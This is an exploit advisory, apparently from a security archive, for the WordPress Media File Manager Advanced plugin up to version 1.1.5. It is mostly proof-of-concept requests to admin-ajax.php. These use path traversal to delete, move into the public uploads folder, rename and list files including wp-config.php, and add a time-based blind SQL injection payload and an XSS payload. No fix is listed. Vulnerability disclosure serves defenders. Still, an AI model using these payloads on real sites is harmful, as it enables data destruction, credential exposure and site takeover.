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WordPress Media File Manager Advanced 1.1.5 XSS / SQL Injection

WordPress Media File Manager Advanced 1.1.5 XSS / SQL Injection
Posted May 14, 2015
Authored by Evex

WordPress Media File Manager Advanced plugin versions 1.1.5 and below suffer from cross site scripting, various modification, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
MD5 | e5849963c6d758d7f286b844b11e96a8

WordPress Media File Manager Advanced 1.1.5 XSS / SQL Injection

Change Mirror Download
Description

"media-file-manager-advanced" suffers from executing administrator actions
by any authenticated user due to weak permissions checking.
an attacker can delete/update posts, Creating/Removing/Listing Directories,
Moving/Renaming/Deleting Files, Blind SQL Injection and Cross-Site
Scripting.

Homepage

https://wordpress.org/plugins/media-file-manager-advanced/

Affected Version

<= 1.1.5

Description

Vulnerability Scope


LFD,SQL,XSS,Site Ruining and Changing of Content.

Authorization Required

User

Proof of Concept


Post Delete
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_delete
post: id=17

MKDIR
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_mkdir
newdir=EVEXFOLDER

folder exists: http://domain.tld/wp-contents/uploads/EVEXFOLDER

RMDIR (Dir Must Be Empty)
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_delete_empty_dir
dir=EVEXFOLDER&name=

not found: http://domain.tld/wp-contents/uploads/EVEXFOLDER

UNLINK
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_delete
dir=../../&name=wp-config.php

no more wp-config.php

Blind SQL INJECTION
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_get_image_insert_screen
id=1 AND (SELECT * FROM (SELECT(SLEEP(10)))LCKZ)

Sleeps for 10 seconds

XSS
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_get_image_insert_screen
id="</button><script>alert(1)</script>

Alerts(1)

Update Post
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_update_media_information
id=34&title=New_Title&caption=bla&description=Dummy Description

Move Files
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_move
dir_from=../../&items=wp-config.php&dir_to=

now wp-config.php is in /wp-content/uploads/wp-config.php


Renaming Files
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_rename
dir=../../&from=wp-config.php&to=wp-config.txt

now wp-config.php is renamed to wp-config.txt

Directory Listing
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_getdir
dir=../../

will list all files and directories

Fix

No Fix Available at The Moment.

Time line

Notified Vendor - No Reply
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